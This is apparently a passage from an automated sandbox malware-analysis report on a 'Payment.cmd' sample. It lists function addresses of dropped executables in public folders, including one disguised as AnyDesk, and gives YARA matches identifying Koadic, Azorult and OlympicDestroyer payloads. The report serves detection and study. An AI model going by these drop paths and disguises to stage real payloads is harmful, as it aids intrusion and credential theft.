            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDDEA47_2_00007FF6E3DDDEA4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0DEB07_2_00007FF6E3E0DEB0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0BE707_2_00007FF6E3E0BE70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E11E2C7_2_00007FF6E3E11E2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB5DF77_2_00007FF6E3DB5DF7
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D91DE87_2_00007FF6E3D91DE8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1BDA07_2_00007FF6E3E1BDA0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8DD847_2_00007FF6E3E8DD84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E37D707_2_00007FF6E3E37D70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE1D707_2_00007FF6E3DE1D70
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD9D6C7_2_00007FF6E3DD9D6C
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AB20C410_2_02AB20C4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4AA5411_2_00007FF78CF4AA54
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5555411_2_00007FF78CF55554
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF48DF811_2_00007FF78CF48DF8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5785411_2_00007FF78CF57854
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF537D811_2_00007FF78CF537D8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4341011_2_00007FF78CF43410
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5422411_2_00007FF78CF54224
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4222011_2_00007FF78CF42220
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF44A3011_2_00007FF78CF44A30
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6AA3011_2_00007FF78CF6AA30
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4524011_2_00007FF78CF45240
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4765011_2_00007FF78CF47650
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4D25011_2_00007FF78CF4D250
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF49E5011_2_00007FF78CF49E50
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF50A6C11_2_00007FF78CF50A6C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4E68011_2_00007FF78CF4E680
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6EE8811_2_00007FF78CF6EE88
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF46EE411_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF67F0011_2_00007FF78CF67F00
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF47D3011_2_00007FF78CF47D30
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF7153811_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF481D411_2_00007FF78CF481D4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6D9D011_2_00007FF78CF6D9D0
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4CE1011_2_00007FF78CF4CE10
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF42C4811_2_00007FF78CF42C48
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6AC4C11_2_00007FF78CF6AC4C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4188411_2_00007FF78CF41884
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF518D411_2_00007FF78CF518D4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4B0D811_2_00007FF78CF4B0D8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4851011_2_00007FF78CF48510
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF4372C11_2_00007FF78CF4372C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF49B5011_2_00007FF78CF49B50
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF45B7011_2_00007FF78CF45B70
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF43F9011_2_00007FF78CF43F90
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6AFBC11_2_00007FF78CF6AFBC
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF46BE011_2_00007FF78CF46BE0
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4AA5412_2_00007FF78CF4AA54
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5555412_2_00007FF78CF55554
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF48DF812_2_00007FF78CF48DF8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5785412_2_00007FF78CF57854
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF537D812_2_00007FF78CF537D8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4341012_2_00007FF78CF43410
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5422412_2_00007FF78CF54224
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4222012_2_00007FF78CF42220
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF44A3012_2_00007FF78CF44A30
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6AA3012_2_00007FF78CF6AA30
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4524012_2_00007FF78CF45240
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4765012_2_00007FF78CF47650
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4D25012_2_00007FF78CF4D250
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF49E5012_2_00007FF78CF49E50
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF50A6C12_2_00007FF78CF50A6C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4E68012_2_00007FF78CF4E680
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6EE8812_2_00007FF78CF6EE88
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF46EE412_2_00007FF78CF46EE4
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF67F0012_2_00007FF78CF67F00
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF47D3012_2_00007FF78CF47D30
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF7153812_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF481D412_2_00007FF78CF481D4
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6D9D012_2_00007FF78CF6D9D0
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4CE1012_2_00007FF78CF4CE10
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF42C4812_2_00007FF78CF42C48
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6AC4C12_2_00007FF78CF6AC4C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4188412_2_00007FF78CF41884
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF518D412_2_00007FF78CF518D4
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4B0D812_2_00007FF78CF4B0D8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4851012_2_00007FF78CF48510
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF4372C12_2_00007FF78CF4372C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF49B5012_2_00007FF78CF49B50
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF45B7012_2_00007FF78CF45B70
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF43F9012_2_00007FF78CF43F90
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6AFBC12_2_00007FF78CF6AFBC
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF46BE012_2_00007FF78CF46BE0
            Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\uhvutpdX.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
            Source: C:\Users\Public\alpha.exeCode function: String function: 00007FF78CF5081C appears 36 times
            Source: C:\Users\Public\alpha.exeCode function: String function: 00007FF78CF5498C appears 40 times
            Source: C:\Users\Public\alpha.exeCode function: String function: 00007FF78CF53448 appears 72 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E3ABFC appears 818 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E40D10 appears 181 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E1EB98 appears 93 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E8F11C appears 37 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3D8D1C8 appears 41 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E47BAC appears 34 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E8F1B8 appears 183 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E47D70 appears 35 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3DBBC9C appears 280 times
            Source: C:\Users\Public\kn.exeCode function: String function: 00007FF6E3E964A6 appears 173 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AC894C appears 56 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AC89D0 appears 45 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AB46D4 appears 244 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AB4500 appears 33 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AB4860 appears 949 times
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: String function: 02AB44DC appears 74 times
            Source: api-ms-win-core-localization-l1-2-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-locale-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-sysinfo-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-file-l2-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-synch-l1-2-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-convert-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-heap-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-filesystem-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-stdio-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-datetime-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-timezone-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-util-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-namedpipe-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-synch-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-console-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-process-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-handle-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-heap-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-string-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-profile-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-errorhandling-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-processthreads-l1-1-1.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-memory-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-environment-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-string-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-runtime-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-utility-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-interlocked-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-time-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-processthreads-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-processenvironment-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-conio-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-private-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-file-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-libraryloader-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-file-l1-2-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-math-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-debug-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-crt-multibyte-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: api-ms-win-core-rtlsupport-l1-1-0.dll.19.drStatic PE information: No import functions for PE file found
            Source: Payment.cmd, type: SAMPLEMatched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 27.2.uhvutpdX.pif.2ddfa89c.6.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 19.2.uhvutpdX.pif.286c4382.6.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 27.2.uhvutpdX.pif.2de87fda.5.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 27.2.uhvutpdX.pif.2de1c889.4.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 19.2.uhvutpdX.pif.28636c44.7.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 19.2.uhvutpdX.pif.28658c31.8.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
            Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
            Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
            Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
